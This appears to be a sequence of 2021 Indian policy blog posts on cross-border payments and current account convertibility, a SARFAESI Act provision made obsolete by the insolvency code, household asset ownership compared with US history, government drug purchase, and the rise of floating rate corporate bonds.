text:
## Tuesday, September 21, 2021

### Instant cross-border payments vs. current account inconvertibility

by Ajay Shah and Bhargavi Zaveri-Shah.

The Reserve Bank of India announced a project that may potentially link an Indian payments system, UPI, with PayNow, a peer-to-peer payment system operated by the Monetary Authority of Singapore. A UPI-PayNow linkage will facilitate instant peer-to-peer cross border payments. It would be a striking solution to the long-standing problems of high transaction costs faced by cross-border transactions. It would help increase India's internationalisation.

In this article, we examine the legal foundations for making this project a reality for the end consumer and merchant. We argue that connecting Indian payment systems with cross-border payment systems would face significant procedural complexities involving current account transactions. While UPI-PayNow connectivity is desirable -- as is connectivity between diverse cross-border payments systems -- barriers to convertibility on the current account can render this connectivity illusory.

### Current account inconvertibility

What does a desirable cross border payments system look like? It should allow economic agents to make and receive payments with high speed and low cost. It should impose the minimum inconvenience upon every user. In the field of international trade, there is a clear distinction between tariff barriers and non-tariff barriers, in recognition of the idea that there can be substantial barriers to trade even when an overt tariff barrier is absent.

As per India's commitment to the IMF's Articles of Agreement, Indian residents enjoy full current account convertibility. This means that Indian residents should be able to exchange Indian currency, free of restrictions, for any foreign currency of their choice at market determined or pre-fixed (in case of managed currency regimes) rates. Article VIII(2) of the IMF's Articles of Agreement codifies the obligation of full current account convertibility for its members, thus:

Subject to the provisions of Article VII, Section 3(b) and Article XIV, Section 2, no member shall, without the approval of the Fund, impose restrictions on the making of payments and transfers for current international transactions.

Section 3(b) of Article VII deals with the replenishment of scarce currency. Section 2 of Article XIV deals with transitional arrangements. None of these provisions, which are more exceptional in nature, apply to normal circumstances.

A multilateral treaty such as the IMF's Articles of Agreement is given binding effect by enacting domestic law to that effect. In India, the International Monetary Fund and Bank Act, 1945 ("IMF Act"), was enacted to give effect to the IMF's Articles of Agreement. However, at the time of its enactment, the IMF Act excluded the said Article VIII(2) as India was not a fully current account convertible country at that time.

When India graduated to current account convertibility in 1993, the Foreign Exchange Regulation (Amendment) Act, 1993 amended FERA to reflect a more liberalised current account regime. However, it allowed the RBI to wield considerable discretion in introducing frictions for making and receiving cross-border payments on the current account. At the same time, the IMF Act was not amended to give binding effect to the said Article VIII(2) of the IMF's Articles of Agreement as domestic law.

After FERA was replaced by the Foreign Exchange Management Act, 1999, more transactions in foreign exchange became feasible for Indian residents than was once the case. However, the economic notion of full current account convertibility of being able to buy and sell foreign exchange, free of all restrictions, for current account transactions, was not realised in the new law. The FEMA, six years after the 1993 announcement, allows the Central Government to impose restrictions on current account transactions. The current account is less restricted than the capital account. But in 2021, Indian residents continue to face barriers to realising the benefits of full current account convertibility'. Several barriers, both substantive and procedural, exist that make current account transactions difficult or costly for the average Indian retail consumer and merchant, that are not found in countries that have current account convertibility. These barriers are of two types:

1. Some hurdles are explicitly imposed by the foreign exchange law and its ad hoc enforcement.
2. India has restrictions on capital account convertibility. To ensure that the payments ostensibly made or received for current account transactions are not applied towards settling obligations arising from restricted capital account transactions, banks are appointed as gatekeepers. Banks, in turn, have implemented an elaborate procedural machinery to effectively vet each foreign exchange transaction made by a consumer. This creates frictions that hinder current account transactions.

The IMF Articles of Agreement envisage this possibility and attempt to pre-empt it. Article VI(3) of the IMF Articles of Agreement, which allows members to impose controls necessary to regulate international capital movements, specifically provides that, "no member may exercise these controls in a manner which will restrict payments for current transactions or which will unduly delay transfers of funds in settlement of commitments."

There is a third set of rules and regulations under FEMA that violate the spirit of current account convertibility, even if not the strict text of the IMF's Articles of Agreement. These rules and regulations mandate exporters and earners of foreign exchange to repatriate their foreign exchange earnings within a certain period after their realisation. While this period is generally in the range of six to nine months, again, like all other provisions of FEMA, this too is amenable to revision by the RBI and the Central Government.

### Barriers to instant peer-to-peer cross-border payments

While the technicalities may differ across transaction type, the bank in question, the merchant and the jurisdiction of the counter-party involved, the hurdles that consumers and merchants face when making cross border payments for current account transactions can be broadly classified into three categories:

Legal restrictions on current account transactions

In exercise of the power conferred on the Central Government under the FEMA, the Central Government has enacted the Current Account Transaction Rules, 2000. These rules prohibit some current account transactions altogether. For example, they prohibit remittances for "hobbies" or the purchase of banned magazines. They also mandate the prior approval of the Central Government for certain types of current account transactions, such as remittances for cultural tours or publishing advertisements in foreign print media. For a third set of transactions, the rules impose caps that may be revised by the RBI from time to time. This effectively means that authorised dealers in foreign exchange must check the rule book when undertaking current account transactions, for they may fall in any of these categories. Particularly, since the restrictions are imposed by rules and legislation made by agencies (not the Parliament), the frequency of revisions is likely to be higher and allow for lesser transition time as they often take effect overnight.

Several restrictions against current account convertibility operate through rules about the payment instrument or payment service provider even when it is used for current account transactions.
The Current Account Rules, 2000 impose restrictions on the usage of international credit cards (ICCs) from an Indian issuer. Some of these are in the letter of the law. For example, the rules explicitly prohibit the usage of an ICC for making payment to foreign airlines in a currency other than INR. Other restrictions manifest themselves through enforcement processes. For example, there have been instances of the RBI having issued enforcement letters to holders of ICCs for availing cloud computing services by a foreign company not having operations in India. The basis of the enforcement actions was that the ICCs were meant to be used for current account transactions 'while on a visit outside India'. The outcomes and due process underyling the enforcement actions undertaken by the RBI are rather opaque. The RBI does not issue reasoned orders for its enforcement actions, unlike most other regulators in India. Owing to this opacity, we are not able to know whether holders of ICCs actually ended up paying fines for having used their credit cards for certain current account transactions and the legal foundations of such enforcement actions.
Similarly, until 2015, Indian residents could use the services of online payment gateway service providers (OPGSPs) for the receipt of export proceeds of upto USD 10,000. Later, in order to promote online e-commerce, the RBI allowed Indian importers to use the services of OPGSP to make payments of upto USD 2,000 for imports. Additionally, the RBI mandated OPGSPs that wish to facilitate cross border payments from or to India to set up liason offices in India.

Transaction vetting by banks

RBI has vested banks with the responsibility of acting as gatekeepers for ensuring that payments ostensibly made for current account transactions are not used for engaging in capital account transactions. Technically, this requires banks to vet every single cross border transaction in order to judge its compliance with the FEMA.
To make cross border outward remittances easier for Indian individual residents (as distinguished from corporate bodies and other artificial juridical entities), the RBI issued a Liberalised Remittance Scheme', which sets annual caps on the amount of foreign exchange that Indian residents can repatriate outside the country, for both capital and current account transactions. This means that making outward remittances requires a payer to fill up atleast one form swearing compliance with the limits and the terms and conditions of the LRS.
Counter intuitively, the friction is exacerbated for inward remittances in the INR denominated bank account of the recipient. To comply with the letter of the law, banks have put in place a system that requires the beneficiary to furnish the bank with a whole bunch of information, such as the purpose of the inward remittance, the bill numbers where the remittance is on account of exports, etc. This form is required to be filled up and submitted for every transaction. Depending on whether the recipient bank is a public sector bank or not and its operational efficiency levels, these forms may require to be furnished in hard copy by visiting a bank branch. It may involve a couple of phone calls from bank representatives asking this, that or the other clarification. For a first time or the occasional recipient of a foreign payment, this practically puts inward remittances on a T+1 settlement cycle!

Current account convertibility means that there is no difference between going onto an e-commerce website and buying from an Indian merchant vs. buying from an overseas merchant. But Indian residents are often asked to perform know-your-customer checks, uploading images of identity documents, when buying from an overseas merchants. In contrast, domestic purchases only require supplying money and not the burden of KYC procedures. This violates globally accepted notions of full current account convertibility, and will be a significant hurdle to making instant cross-border payments a reality for the average Indian consumer.

### The problem of convertibility on the current account

Current account convertibility means that cross-border transactions, for the purpose of current account activity, are as frictionless as domestic transactions. Many people believe that India is fully current account convertible; it is sometimes claimed that India has achieved current account convertibility in 1993 and is now inching towards convertibility on the capital account. This is an inaccurate depiction of where India is. There are explicit prohibitions, restrictions or tarriff barriers. There are procedural barriers that drive up the cost of cross-border transactions. There are threats of ad hoc enforcement or disparity across payment instruments or payment service providers.

At first blush, UPI-PayNow connectivity is a sweet and logical idea, there is the possibility of obtaining a quantum leap in reducing transactions costs for cross-border payments. However, it requires the invisible infrastructure of current account convertibility, which is at present lacking in India. The project of building UPI-PayNow connectivity is a great opportunity to re-open these questions and remove all the frictions, whether on paper or in practice, described above. Our objective should be to make India-Singapore payments on the current account as frictionless as (say) payments between the UK and the US.

This situation is not unique to the UPI-PayNow connection. The `fintech revolution' is limited by infirmities of financial regulation in numerous dimensions. Many ideas that first appear eminently sensible tend to break down when placed into the Indian policy environment [example: regulatory sandbox].

Ajay Shah is a researcher at xKDR Forum and Jindal Global University. Bhargavi Zaveri-Shah is a doctoral candidate at the National University of Singapore.

## Monday, September 13, 2021

by Pratik Datta.

### Introduction

Ever since Caballero et al (2008) coined the phrase, ‘zombie firms’ have attracted much attention in both academic and policy circles. Macey (2021) recently extended the concept to a wholly new genre of zombies - ‘zombie laws’. Freedom from the clutches of zombie laws is a policy priority for India. The Prime Minister himself highlighted the challenge in his recent Independence Day speech. This piece will use the phrase ‘zombie laws’ broadly to refer to provisions of statutes, regulations, and judicial precedents that continue to apply after their underlying economic and legal bases dissipate. Although there are many obvious examples of zombie laws strewn across the Indian legal landscape, this post will illustrate the problem using a slightly more nuanced example. It will explain why section 13(4)(b) of the Securitisation and Reconstruction of Financial Assets and Enforcement of Security Interest Act, 2002 (‘SARFAESI Act’) has become a zombie law since the enactment of the Insolvency and Bankruptcy Code in 2016. To appreciate the original rationale behind this provision, it would be useful to set out the broader legislative backdrop.

### Background

Section 69 of the Transfer of Property Act, 1882 allows only some mortgagees the right to sell the mortgaged property (security) without court intervention. This right is not available where the mortgagor is of native origin or where the mortgaged property is situated outside presidency towns or any notified area. This legislative design at the time was meant to ensure that the law does not inadvertently empower unscrupulous moneylenders (as mortgagees) against vulnerable native mortgagors in mofussil towns and villages across India. In contrast, European mortgagors in presidency towns were presumed capable enough to take care of their own interests.

Post-independence, this limited right to sell mortgaged property without court intervention proved unsatisfactory for a state-led financial system. Instead of reforming the general law, the Transfer of Property Act, special statutes were enacted to vest the power of sale without court intervention in certain financial institutions like Land Development Banks and State Finance Corporations (‘SFCs’). For example, section 29 of the State Finance Corporations Act, 1951, empowered an SFC to take over the management, possession, or both, of the borrower industrial concern for recovery of its dues. If the borrower still didn’t pay up, the SFC could sell the unit to recover its dues.

In late 1990s, demands were made to extend similar powers to banks and financial institutions to tackle the fledgling non-performing assets problem. This demand resonated with the Andhyarujina Committee, which in March 2000 recommended a special law to empower banks and financial institutions to take possession of securities anywhere in India and sell them for recovery of loans without court intervention. The SARFAESI Act 2002 was the result of this policy thinking.

Section 13 of SARFAESI Act empowers a secured creditor (bank or financial institution) to enforce a security interest created in its favour without court intervention anywhere in India. On default by a borrower, the creditor may serve a notice in writing to the borrower to repay in full within 60 days of receiving such notice. If the borrower fails to comply, the creditor may take recourse to various measures under section 13(4). Clause (b) of section 13(4) initially empowered banks and financial institutions to take over management of the secured assets of the borrower including the right to transfer by way of lease, assignment or sale and realise the secured assets.

In 2004, section 13(4)(b) was amended to empower banks and financial institutions to take over not only the ‘management of the secured assets’, but the entire ‘management of the business’ of the borrower company without court intervention. This includes the right to transfer by way of sale for realising the secured assets. These powers were not originally envisaged by the Andhyarujina Committee.

### A Zombie law

In 2000, the Andhyarujina Committee had envisaged the SARFAESI Act as an exception to the general foreclosure law contained in the Transfer of Property Act. Consequently, SARFAESI Act was designed as a special foreclosure law. Like any other foreclosure law, it dealt only with transfer of security (mortgaged property) and not transfer of corporate control of the borrower’s business from shareholders to creditors (or an administrator). The latter is the subject of corporate insolvency law.

When a corporate debtor faces financial distress, shareholders have a perverse incentive to engage in risky strategies. If the strategy pays off, shareholders benefit. If the strategy fails, the creditors bear the losses. To address this moral hazard inherent in the structure of a limited liability company, corporate insolvency law shifts the power to decide on the future of a financially distressed company from its shareholders to its creditors. The creditors could use insolvency law to either restructure their debt in the company or sale the business as a going concern to a third party. This enables the business to exit financial distress with minimal value destruction.

To achieve this outcome, corporate insolvency laws usually provide sophisticated rules to facilitate collective bargaining by the company’s creditors for debt restructuring, appoint an administrator (resolution professional) to monitor a sale, and market the business publicly to maximise the sale value. They also provide various safeguards to check against unfair wealth transfer away from vulnerable claimants of the corporate debtor such as dissenting financial creditors and operational creditors. These safeguards include several unique provisions dealing with preferential transactions, avoidance transactions, wrongful trading, cram down provisions etc. Implementing these safeguards require court supervision.

Foreclosure laws do not require such complicated rules and safeguards since they simply deal with transfer of security and not transfer of corporate control. As a result, court supervision is not as relevant in foreclosure laws. Since SARFAESI Act was initially designed as a special foreclosure law, neither did it provide for the usual safeguards necessary during transfer of corporate control nor did it mandate court supervision to protect vulnerable claimants during such transfers.

The 2004 amendment fundamentally altered this basic design of SARFAESI Act as a foreclosure law. The amended section 13(4)(b) empowered a secured creditor to take over control of the corporate debtor’s business and decide on its future through a sale, a function akin to that of a corporate insolvency law. Yet, unlike a corporate insolvency law, the amendment did not introduce any safeguard or court supervision during takeover of management and subsequent sale of the distressed business. Effectively, the 2004 amendment inserted selective features of corporate insolvency law within a foreclosure law. As a result of this legislative mashup, the amended SARFAESI Act vested disproportionate powers with secured creditors, without safeguarding the interests of other claimants of a corporate debtor. This is not expected of either a foreclosure law or a corporate insolvency law.

This hybrid section 13(4)(b) of SARFAESI Act could have been justified in 2004 as a mechanism to achieve going concern sale of distressed businesses in the absence of a modern corporate insolvency law in India. In 2016 however, India got a comprehensive corporate insolvency law - the Insolvency and Bankruptcy Code (‘IBC’). The IBC now provides a well-defined mechanism to take over management of a distressed corporate debtor to achieve a going concern sale.  On triggering the IBC, the promoter loses control of the corporate debtor. A resolution professional takes over the management, invites plans from potential investors, and places the eligible plans before a committee of financial creditors. This committee can approve a resolution plan by not less than 66% voting share. Such a resolution plan becomes binding only after it is approved by the court (adjudicating authority). Given such elaborate mechanism (with appropriate safeguards) to achieve going concern sales under the IBC, the underlying economic and legal bases for section 13(4)(b) of SARFAESI Act have dissipated. Yet, when SARFAESI Act was amended in 2016 to harmonise it with the IBC, section 13(4)(b) was not revisited. This provision lives on in the statute book only as a zombie law.

Continued existence of such a zombie law is not only unnecessary but it can also be harmful. For instance, the IBC provides stringent safeguards to prevent unfair wealth transfer from dissenting financial creditors and operational creditors. In contrast, section 13(4)(b) of the SARFAESI Act is designed to protect only the interests of secured creditors. It does not offer any credible safeguard for other claimants of a distressed corporate debtor. Therefore, continued use of this section of the SARFAESI Act to take over the management of a distressed corporate debtor without court intervention is detrimental to a wide range of corporate stakeholders.

This problem could be resolved simply by amending section 13(4)(b) to revert to its pre-2004 position. Banks and financial institutions should be able to use section 13(4)(b) only to take over the ‘management of the secured assets’ of the corporate debtor without court intervention and not the management of its entire business. The latter should be permissible only under the IBC. This legal architecture would restore the character of the SARFAESI Act as a special foreclosure law, as originally recommended by the Andhyarujina Committee.

### Conclusion

Section 13(4)(b) of SARFAESI Act became a zombie law with the introduction of the IBC. Many such zombies remain scattered across the Indian legal landscape. The government had in 2014 taken a conscious initiative to repeal such laws. Such initiatives are mostly ad hoc. There is no institutional mechanism to tackle the menace. While highlighting this lacuna, former Finance Secretary Dr. Vijay Kelkar suggested that every new economic legislation should ideally have a sunset clause. Incorporating such clauses could nudge the development of requisite institutional capacity to periodically review parliamentary laws and check the rise of the zombies.

Pratik Datta is a Senior Research Fellow at Shardul Amarchand Mangaldas & Co. All views expressed are personal. The author thanks Rajeswari Sengupta, Ajay Shah and two anonymous referees for their useful suggestions.

## Wednesday, August 25, 2021

### What year in the history of an advanced economy is like India today?

by Ananya Goyal, Renuka Sane and Ajay Shah.

India has been stepping out from poverty into middle income. It is estimated that the proportion of persons below the PPP$1.90 poverty line has dropped to an estimated 87 million in 2020. In thinking about India's journey, it is interesting to ask: In the historical journey of advanced economies, What year in the history of the US or UK roughly corresponds to India of 2021? This is a good way to obtain intuition on where India is, in the development journey. GDP measurement is a daunting enterprise. GDP measurement is particularly weak when it concerns the deep past of the UK or the US, or the Indian present. Measuring asset ownership such as cars and other assets can induce valuable insights. For many products (e.g. cars, washing machines, mobile phones, denim) we should look at the extent to which the product has reached into the households of the country. In this article, we ask: What is a time point in the history of the US or the UK which is comparable with where India is today, in terms of household asset ownership? This is connected with the question "How big is the Indian middle class?" when we apply certain thumb rules such as "to own a car is to be middle class". While these are fascinating questions, such comparisons have to be undertaken with care. When the highways are weak or when the public transport is strong, households will find cars less attractive. Closer to the equator, cooling technologies will be more appealing. And, most important, technological progress across the years has resulted in a sharp decline in the prices of many of these assets, through the wonders of mass production of assets like cars, and through Moore's law for CPUs. In the interpretation of asset ownership information, we should maintain a distinction between causes and consequences. The causes are the factors such as household prosperity or climate or cost reduction, which shape the decision of household purchase. The consequences are about how a given household asset reshapes the welfare and culture of the household. The consequences appear more similar across space and time. As an example, the impact of personal transportation upon an individual is similar across countries and decades, regardless of the the decline in the real price of an automobile and the expansion of household income. GDP measurement is faulty, and asset ownership measures across space and time are clouded by differences in the climate and by technological progress. No one element of this article is the single truth. We should assemble an overall picture in our minds, pooling all these aspects of the truth. ### Per capita GDP In 2020, per capita GDP in India (in PPP terms at 2011 prices), is$6806. Looking back into the history of the US and the UK, we get the dates:

 Comparable year in US history Comparable year in UK history Per capita GDP 1896 1894

This places India of today as being roughly like these advanced economies at the dawn of the 20th century. By this measure, India is about 120 years behind the US or the UK in terms of economic development.

### Women's labour force participation

Looking back into US history, the first measurement of women's LFP seems to be in 1890 and it shows a value of 18.2% (Smith & Ward, 1985). The women's LFP in India for 2020-21 is measured by CMIE at 9.2%. By this measure, India is at a state of maturity which is older than 1890 for the US.

### Asset ownership

We use data from the September - December, 2019 Consumer Pyramids Household Survey to measure asset ownership in India. For each asset, we compute the fraction of households which own a stated asset.

 Asset Share in India today (%) Comparable year in US history Car 6 1915 Refrigerator 59 1945 Air conditioner 7 1955 Washing machine 25 1955 TV 95 2000 Computer 8 1985
Cars
In India today, 6% of households have a car. This value was obtained in the US in 1915.
The Ford Model T was introduced in 1908. Thus, the productivity gains associated with modern manufacturing have been in play for over a century before we get to the India of today. It was harder for a US household in 1915 to buy a car, as cars were then more expensive. Our measure (1915) is an over-estimate on account of improvements in mass production.
There are about 300 million households in India, so the installed base of cars used by households is about 18 million.
Cooling equipment
Demand for refrigerators and air conditioners in the US is likely to be lower than what we see in India owing to the climate. And, there have been great advances by way of cost reduction of refrigerators.
At present, 59% of Indian households have fridges, and the US was at such a value in 1945. Similarly, 7% of households in India have air conditioners, a value that was seen in the US in 1955. Both these values (1945 and 1955) are an over-estimate owing to (a) Differences in the climate and (b) Improvements in mass production.
With about 300 million households, these values map to about 20 million air conditioners and about 180 million refrigerators, in homes. The total Indian market size for these products is, of course, greater as there are also purchases by organisations like restaurants.
Washing machines
Washing machines are interesting in that there is no difficulty with the difference in climate, but there are cost reductions owing to improvements in mass production.
The US was at the present Indian value of 25% in 1955. This estimate (1955) is likely to be an over-estimate on account of improvements in mass production. An anonymous commentator points out that if clothes can be washed using cheap labour, the incentive to buy a washing machine is lower.
About a quarter of 300m households is about 75 million washing machines in existence in households in India today.
Electronics
The Indian value for television sets of 95% looks near-complete. This was only achieved in 2000 in the US.
With home computers, the Indian value of 8% is comparable to that seen in the US in 1985.
Both these values (2000 and 1985) are over-estimates owing to the dramatic decline of prices of electronic equipment.

Where is India when compared with the historical journey of the US or the UK? We have many answers. We have values of pre-1890 (women's LFP), 1896 (PPP per capita GDP), 1915 (cars), 1945 (fridges), 1955 (washing machines and air conditioners), 1985 (home computers) and 2000 (television sets). We think that overall, the asset-ownership based estimates are over-estimates on account of improvements in technology, and because households would value cooling equipment to a greater extent in the Indian warmth.

In terms of consequences, refrigerators and washing machines are both mechanisms to reduce household drudgery. When food can be stored in a refrigerator, the need to cook multiple times within the day is eliminated. The present Indian values are comparable with the US of 1945 (fridges) or 1955 (washing machines). India may then be at the cusp of change, with the emancipation of women that came in the US in the 1950s and the 1960s, when these appliances reduced the demands upon women for housework.

Economic development is hard to reduce into any single metric. As Yashwant Sinha once said, India lives in many different centuries at the same time. There are people and cultural traits in India today which are medieval, and there are pockets of India which are living at the global frontier of 2021. Each aspect of India is evolving through its own historical forces. We need to embrace and understand all aspects of this reality at once. In understanding India, we have to appreciate all these different clocks that are unfolding before us. The numbers discovered in this article help in building this intuition.

### Sources

Nicholas Felton (2008), Consumption spreads faster today, The New York Times.

Homi Kharas, Laurence Chandy (2014) What Do New Price Data Mean for the Goal of Ending Extreme Poverty? , Brookings Institution

World Poverty Clock , World Data Lab. Retreived August 2021.

Maddison Project Database, version 2020. Bolt, Jutta and Jan Luiten van Zanden (2020), “Maddison style estimates of the evolution of the world economy. A new 2020 update ”.

Consumer Pyramids Household Survey (2019), Centre for Monitoring Indian Economy.

Smith, J., & Ward, M. (1985). Time-Series Growth in the Female Labor Force. Journal of Labor Economics, 3(1), S59-S90.

## Monday, August 23, 2021

### Author: Harleen Kaur

Harleen Kaur is a regulatory affairs and public policy researcher and lawyer practising in a Delhi-based law firm.

On this blog:

## Thursday, August 19, 2021

### How elements of the Indian state purchase drugs

by Harleen Kaur, Ajay Shah, Siddhartha Srivastava.

There is one well known problem in India: the problem of drug quality. A significant fraction of the drugs purchased and consumed are sub-standard.

There is another well known problem in India: the difficulties of government contracting. When state organisations choose to buy instead of make, they face difficulties in the entire pipeline from bid preparation to tendering to contract disputes to contract renegotiation to payments. Weaknesses in government contracting are a cross-cutting problem that hamper the emergence of state capacity in all fields.

Research on government drug purchase thus lies at the intersection of two literatures: the drug quality literature in the field of health and the government contracting literature in the field of public administration.

Government purchase of drugs is particularly important for three reasons:

1. The government is a large buyer of drugs, and the people would become more healthy if the quality of government-purchased drugs could go up.
2. If procedures for drug purchase by the government are improved, this could potentially have an impact on the optimisation of an important subset of firms who may then improve their quality standards, and this would impose positive externalities upon private buyers of drugs.
3. There are some policy pathways based on information about government testing of drugs, where the release of test data into the public domain, as a side effect of a well structured government purchase procedure, can also reshape the incentives of private firms in favour of higher quality.

A research literature on government drug purchase is required. For all researchers looking at this field, obtaining basic institutional knowledge is a bottleneck. A first building block of this is a description of how various elements of the Indian state buys drugs. This is the kind of paper that everyone wants to read but nobody wants to write. We have made a first attempt at this descriptive paper.

## Tuesday, August 17, 2021

### Author: Devendra Damle

Devendra Damle is a researcher at the National Institute of Public Finance and Policy.

## Monday, August 09, 2021

### Sudden Rise of the Floaters

The first two months of 2021-22 have witnessed a remarkable new trend in the corporate bond market—a sudden rise in the issuance of floating rate bonds or “floaters” and the use of the 91-day treasury bill yield as the reference rate in these bonds, instead of the yields on dated government securities (G-Secs).

We conjecture that one possible reason behind this new development could be an increase in the perception of interest risk on the part of the bond market participants. This in turn may have been a result of the active yield curve management undertaken by the Reserve Bank of India (RBI). If indeed dated government bonds such as the 10-year G-Secs have lost relevance as benchmark securities then this can lead to serious mispricing of risk in the economy, an unintended consequence of the RBI’s bond market intervention.

### An interesting development in the bond market

Over the three-month period from April to June 2021, about 7 percent of the total corporate bond issuance of Rs 1.02 trillion consisted of floating rate bonds. While this percentage looks small, it is important to keep in mind that for the previous ten years or more, the share of floating rate bonds in the total issuance of corporate bonds has been less than 1 percent.

It is also important to note that the firms issuing these bonds and the investors investing in them are not a new class of issuers and investors. They are the same issuers and investors who were issuing and buying fixed-rate bonds until recently. In particular, 100 percent of the floating rate bond issuers now are non-banking finance companies (NBFCs) who were earlier issuing fixed rate bonds, and the investors are the same mutual funds and banks who were investing in fixed rate bonds earlier. This could imply that their behaviour has now changed due to external developments. It is as if the bond issuers and investors have suddenly developed a taste for floaters.

Corporate bonds are typically issued with a maturity of more than one year, along with a coupon, which is the rate of interest to be paid on the bond. Most bonds have a ‘fixed’ coupon—the rate of interest on the bond is decided at the time of issuance of the bond and remains fixed over the life of the bond.

This rate is a function of two factors – (i) the prevailing risk-free interest rate for the maturity matching that of the bond, and (ii) the credit risk spread that is added to compensate the investors for the default risk associated with the issuer.

The risk-free reference rate is ideally the interest rate on the government security of similar maturity. The credit spread is the function of the credit rating of the issuer. For example, if a AAA-rated issuer wants to issue a 5-year maturity corporate bond, then the risk-free reference rate will be the rate for a 5-year government security (let’s say 5.7 percent). If the credit spread of the AAA-rated issuer is an additional 100 basis points (1 percent), then the bond will be issued with a fixed coupon of roughly 6.7 percent. Note that this rate will apply to all the future interest payments by the issuer until the bond matures even if the underlying risk-free rate changes. This means that the investor in this bond is taking the interest rate risk. The secondary market price of these bonds reacts to changes in the underlying interest rates – the bond prices fall if the risk-free interest rate increases and bond prices go up if the risk-free rate decreases.

In the case of a floating rate bond, the main components of determining the coupon remain the same—a reference rate and a credit risk premium. The crucial difference is that the reference rate is no longer fixed but changes over time. Hence, these bonds are referred to as ‘floating’. The coupon on these bonds clearly specifies the reference-floating rate.

If the bond in the example cited above were a floating rate bond, then the coupon on it will not be a fixed rate of 6.7 percent. Instead, it will be the rate on 5-year government security at the time of interest payment plus 1 percent. In other words, for a floating bond, the applicable interest is computed at the time of payment of interest. If the 5-year government security rate moves up by 0.5 percent in a year then the interest rate payable will become 7.2 percent. The investor in such a bond is more protected from interest rate risk and the prices of these bonds in the secondary market fluctuate much less with movements in interest rates.

In the last two months, floating rate bonds worth Rs 70 billion have been issued in the corporate bond market, almost entirely by private companies. Overall, bonds worth Rs 793 billion have been issued by the private sector including NBFCs. The floating rate bond issues in these two months thus represent around 10 percent of private sector bond issuance.

An interesting feature of these floaters issued in the last two months is that all of them have used the yield on 91-day treasury bills (T Bills) as the reference rate. Notwithstanding the fact that these corporate bonds have maturities ranging from 2 to 4 years, yields on dated government securities (i.e., G-Secs with maturity of more than 1 year) have not been used as a reference.

What might explain this sudden preference on the part of the issuers and investors for these floating bonds?

### What might be going on?

One possibility could be a heightened perception of interest rate risk. Bond investors might be harbouring the belief that the interest rates on dated G-Secs are unlikely to remain at their current levels. As discussed earlier, issuing floating rate bonds is one way to mitigate interest rate risk. This raises the next question – why would the perception of interest rate risk suddenly go up now?

We conjecture that this could be a result of the manner in which the RBI has been managing interest rates in the government bond market. The Covid-19 pandemic presented the Indian economy with an unprecedented challenge. A combination of falling tax revenues and rising expenditure on account of fiscal stimulus resulted in a massive increase in the fiscal deficit of the government, and a corresponding rise in government borrowing from the bond market. In 2020-21 the consolidated government borrowing was a whopping Rs 21.5 trillion and the planned borrowing for 2021-22 is roughly Rs 19.6 trillion. The overall government debt to GDP ratio is roughly 90 percent, the highest ever.

The RBI on its part has taken multiple steps to ensure that interest rates are kept low in the bond market so that the government’s cost of borrowing remains under control. It has allowed several primary auctions of G-Secs to devolve on primary dealers and has even canceled auctions when it did not receive bids at rates that were low enough. In addition to its standard open market operations (OMOs), it initiated the Operation Twist program whose objective was to bring down interest rates at the long end of the yield curve and push up rates at the short end. This meant that the RBI was buying long-dated G-Secs and selling shorter maturity bonds.

In March 2021 the RBI launched a program called the G-SAP wherein for the first time it pre-committed to buying a specific amount of G-Secs. These bond market interventions are mostly aimed at capping the interest rate on the benchmark 10-year G-Sec at 6 percent. As a consequence of these actions, the RBI has ended up owning a substantial amount of the 10 year benchmark government bonds (link).

It is possible that bond investors believe that the RBI will not be able to suppress the interest rates for too long, and the rates will rise sharply and suddenly. This could be either because of the large volume of G-Secs the government needs to issue to finance its deficit or because of growing inflationary concerns in the Indian economy (CPI inflation has exceeded the upper limit of 6 percent of the RBI’s targeted inflation band in both May and June 2021), or because of external factors such as rising inflation in the US.

This is akin to a spring that has been forcefully compressed but can bounce back anytime. If the rates suddenly go up, holding fixed coupon bonds will lead to losses, as explained earlier. This increased risk perception might be one possible explanation as to why the investors now prefer floating rate bonds.

Arguably, another unintended consequence of the steps taken by the RBI to lower the long-term G-Sec yields and suppress the organic evolution of the yield curve in response to market forces may have been that the bond market participants have lost confidence in the yield curve.

In the past whenever inflation went up, 10-year G-Sec yields would also go up, implying a positive correlation between the two variables. The underlying idea is that rising inflation is usually followed by a tightening of the monetary policy stance which in turn leads to higher long term bond yields.

For instance, figure 1 below plots the 10-year G-Sec yield alongside CPI (consumer price index) inflation from 2004-05 to 2013-14. This was a period of high and rising inflation. CPI inflation went up from 3.8 percent in 2004-05 to more than 10 percent in 2012-13. Concomitantly, the 10- year rate went up from 6.6 percent in 2004-05 to more than 8 percent by 2012-13.

Figure 1: CPI Inflation and 10year G-Sec yield, 2004-05 to 2013-14

But recently this correlation seems to have broken down. We can see this clearly in figure 2, which plots the two series using monthly data, focusing on the period from March 2020 to June 2021. CPI inflation began rising from May 2020 onward. It consistently breached the 6 percent upper limit of the RBI’s targeted inflation band during the period April-October 2020, increasing from 5.8 percent in March to 7.6 percent in October. More recently it went up from 4.2 percent in April 2021 to 6.3 percent in June 2021.

Figure 2: CPI Inflation and 10year G-Sec yield, March 2020 to June 2021

However, this time around, rather than increasing, the 10-year G-Sec yield actually fell from 7.5 percent in April 2020 to 5.8 percent in May, since then holding more or less steady around 6 percent. These developments suggest that G-Sec rate might be distorted by the RBI’s interventions, which in turn might explain why some investors are turning to the T Bill rate as a preferred reference rate.

Other explanations are, of course, possible. The rise of floaters could also be a result of companies expecting interest rates to come down, in which case they would not want to issue long-term debt at higher rates. This however seems unlikely. Given that inflation continues to be a concern, interest rates are more likely to go up rather than down, and sooner or later RBI would need to start normalising the surplus liquidity situation that the financial system is currently in.

Alternatively, floaters could be issued if the private sector is tapping a new class of investors, who are interested in buying bonds but do not want to run any interest rate risk. But the issuers of and the investors in the floaters are exactly the same entities that were participating in fixed-rate bond transactions earlier.

Finally, it is also possible that the funding requirements of the NBFCs (the sole issuers of floating rate bonds right now) have undergone some changes which might have increased their preference for these bonds.

### Conclusion

We are observing an interesting new development in the corporate bond market. The rise of floating rate bond issuances by private NBFCs, and the use of the 91day T Bill rate as the reference rate seem to indicate a change in the preferences on the part of both issuers and investors.

We conjecture that one reason that might explain this development is the intervention in the bond market by the RBI to control G-Sec yields. Specifically, it is possible that the RBI’s persistent interventions have caused some market participants to lose trust in the yield curve. This possibility needs to be explored further in the future.

If there has indeed been an erosion of credibility in the yield curve, then this would be a serious problem. The yield curve is a fundamental construct in a market economy, as it defines the interest rate structure that is used to price debt. As a result, if the yield curve is distorted, then interest rate risk is being mispriced. The associated misallocation of resources could prove to be costly, damaging the economy just as it struggles to recover from the Covid crisis.

